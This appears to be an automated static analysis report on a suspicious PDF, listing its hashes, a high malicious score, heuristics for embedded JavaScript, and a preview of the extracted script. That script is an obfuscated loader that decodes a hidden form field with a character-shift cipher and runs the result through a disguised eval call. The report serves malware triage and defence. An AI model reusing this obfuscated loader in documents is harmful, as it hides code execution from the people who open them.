PDF static analysis report

Static analysis result for SHA-256 fb54b0ae52fbe5c2…

SUSPICIOUS

PDF

28.6 KB Created: 2012-10-28 09:07:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-07
MD5: 035192e0173a2d55845a2376d563ce64 SHA-1: a6b0f031d11634cb8fb88ed0c50da49e3b833363 SHA-256: fb54b0ae52fbe5c2fe4b0c16b7068ae88d7814816df6535081c724d8b4e6281f
48 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and streams suggests the file is designed to download and execute a second-stage payload. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 3

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x6EE8 1256 bytes
SHA-256: c9ed80678030b6f56d2daa2b7acff159cfe87b2c293449a123102df4467f0924
Preview script
First 1,000 lines of the extracted script
var reggergre = ':';
var xcbdf4tfer = reggergre+'ABCDEFGHI';
var cxbdf4terg = 'WXYZ{}';
var xcbdewt4ger = "^";
var sarwgraew = 'ijklmnop';
var rgfreuih = 'abcd';
var cxvbd4tege = xcbdewt4ger+rgfreuih+'efgh'+sarwgraew;
var cxncgfhyry3e4ter = "z_";
var vcmnfdhrthrth= "q"+"rstuvwxy"+cxncgfhyry3e4ter;
var sdeswf = '!%'+'+-*.,;"=<>&';
var nvbnmewtgerg = '0123456789/'+sdeswf+'\\';
var ytyrty54yrh = vcmnfdhrthrth+nvbnmewtgerg;
var mcnt54hr  = xcbdf4tfer;
var gcmhnr4yesrg4g = "JKLMNOPQRSTUV"+cxbdf4terg;
var cnvcnrghrthdfg = ' '+'()[]'+cxvbd4tege+ytyrty54yrh;
var trh35tewr=mcnt54hr+gcmhnr4yesrg4g+cnvcnrghrthdfg;
function dsaewf23fwe(nmtt34t){
var ewfe23fwef = trh35tewr.indexOf(nmtt34t);
var thtr3tgre=ewfe23fwef-33;
if (thtr3tgre<0)
{var mnrtfegreg = trh35tewr.length;
thtr3tgre=thtr3tgre+mnrtfegreg;}
return trh35tewr.charAt(thtr3tgre);}
function ethet4wer(yuyr54ter){
var mghjkio9o8po6r='';
for (var i = 0;i< yuyr54ter.length-1;i++)
{mghjkio9o8po6r += dsaewf23fwe(yuyr54ter[i]);}
return mghjkio9o8po6r;}
var vcnbrth53ey=getField("WWWW");
var pyuiultjejhrty=vcnbrth53ey.value;
var lopyuyi5r6tj = ethet4wer(pyuiultjejhrty);
var aanmyjuitrhreh= 'sewerwecaaev'+'alsesfesfsef';
var masgfrj45y = aanmyjuitrhreh.substring(10,14);
app[masgfrj45y](lopyuyi5r6tj);

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